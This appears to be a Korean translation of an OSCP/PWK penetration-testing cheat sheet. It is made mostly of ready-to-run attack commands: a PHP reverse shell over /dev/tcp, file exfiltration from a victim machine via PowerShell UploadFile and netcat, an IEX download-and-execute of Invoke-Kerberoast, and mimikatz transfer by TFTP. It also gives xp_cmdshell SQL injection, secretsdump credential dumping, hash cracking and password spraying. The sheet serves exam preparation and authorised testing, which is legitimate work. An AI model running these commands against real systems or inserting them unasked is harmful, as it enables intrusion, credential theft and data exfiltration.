
PWK/OSCP 시험 준비를 위한 종합적인 침투 테스트 치트 시트로, 권한 상승, 비밀번호 크래킹, 페이로드 생성, 사후 침투, 포트 스캐닝, 웹 공격 및 정찰 기술을 다룹니다.
JustTryHarder는 PWK 과정 및 OSCP 시험을 도와줄 치트 시트입니다.
(PayloadAllTheThings에서 영감을 받음)
도움이 되셨다면 Pull Request를 제출하거나 별을 눌러 사랑을 나눠주세요. 💖
Hacktoberfest 친화적! 네, Hacktoberfest를 위한 Pull Request를 환영합니다! 스팸이 아니고 실제로 이 저장소에 기여하는지 확인해주세요. 감사합니다 & 즐거운 해킹 되세요!
면책: 아래 내용에는 PWK 랩 / OSCP 시험에 대한 스포일러가 포함되어 있지 않습니다.
이 정보의 대부분은 다른 GitHub 저장소, 블로그, 사이트 등에서 얻었습니다. 가능한 한 원저작자에게 출처를 표시하려고 노력했습니다. 출처를 표시하지 않은 경우 Twitter: https://twitter.com/s1nfulz로 연락주세요.
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
`TTL`을 사용하여 호스트의 OS를 확인할 수 있습니다. TTL의 세 가지 유형은 다음과 같습니다.
- **TTL=64** = \*nix - 홉 수입니다. 따라서 61이 표시되면 3홉이며 \*nix 장치입니다. 대부분 Linux입니다.
- **TTL=128** = Windows - TTL이 127이면 홉 수는 1이며 Windows 박스입니다.
- **TTL=254** = Solaris/AIX - TTL이 250이면 홉 수는 4이며 Solaris 박스입니다.
## BOF (WIP)
(일반적인 나쁜 문자: `0x00`, `0x0A`, `0x0D`)
- 퍼징
- EIP 위치 찾기
- 나쁜 문자 찾기
- `jmp esp` 찾기
- `msfvenom`으로 페이로드 생성
- `netcat`으로 리버스 셸 획득
**좋은 BOF 자료:**
- [NCC Group - Win32용 익스플로잇 작성](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - 익스플로잇 작성 튜토리얼 1부](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - 32비트 Windows 버퍼 오버플로우 쉽게 배우기](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## 탈출 / 환경 탈출
- [Pentest Partners - Citrix 탈출](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - SiteKiosk 탈출](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Windows에서 키오스크/POS 탈출 키](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Citrix 환경 탈출](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - 애플리케이션 탈출](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - 환경 탈출의 일반적인 문제 (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Citrix 탈출](https://gracefulsecurity.com/citrix-breakout/)
## DNS - 영역 전송```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## 파일 전송
### SMB 전송
피해자 머신(Windows)에서:```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Wget 전송
호스트(리버스 셸 내부)에서 파일을 가져오는 방법.
**설정:** 전송하려는 파일을 `/var/www/html/`에 넣고 `service apache2 start`를 실행하세요.
원격 서버에서 실행:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### TFTP 전송
(Kali에서 Windows로 전송하는 방법)
**MSF 사용:**
다음 단계 전에 MSF를 시작하십시오:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**터미널에서:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (Windows에서 Kali로)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
대화형 세션:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
대화형 PowerShell 세션 없이 (`wget.ps1` 생성):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -\> Linux)
**로컬 호스트:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. `encoded.b64`를 `nc` 또는 다른 방법으로 원격 서버로 전송하세요.
**원격 서버 - Linux:**
3\. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### HTTP 파일 업로드 (데이터 유출)
**1. upload.php 생성**
공격 머신의 웹루트(`/var/www/html` 기본값)에 생성합니다.```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. 디렉토리 생성**
업로드 디렉토리를 생성하고 업로드를 허용하도록 적절한 권한을 설정합니다.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. 파일 업로드**
PowerShell을 사용하여 피해자 머신에서 공격자 머신으로 파일 업로드:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting
- `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
- `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
- `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`
## LFI / RFI
**PHP 리버스 셸:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**명령 삽입:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQLi
- `EXEC master..xp_cmdshell 'whoami';`
- `' exec master..xp_cmdshell 'whoami' --`
- [OSCP-2 SQL 인젝션 치트시트](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
- [PentestMonkey SQL 인젝션](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
## 비밀번호 크래킹
**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## 비밀번호 스프레이 공격 (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## Payload Generation
- [NETSEC - Creating Payloads](https://netsec.ws/?p=331)
- [MsfVenom Cheatsheet](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
- [Metasploit Unleashed Payloads](https://www.offensive-security.com/metasploit-unleashed/payloads/)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
**Types:**
- Non-staged: `netcat`
- Staged: `multi/handler`
## PHP
```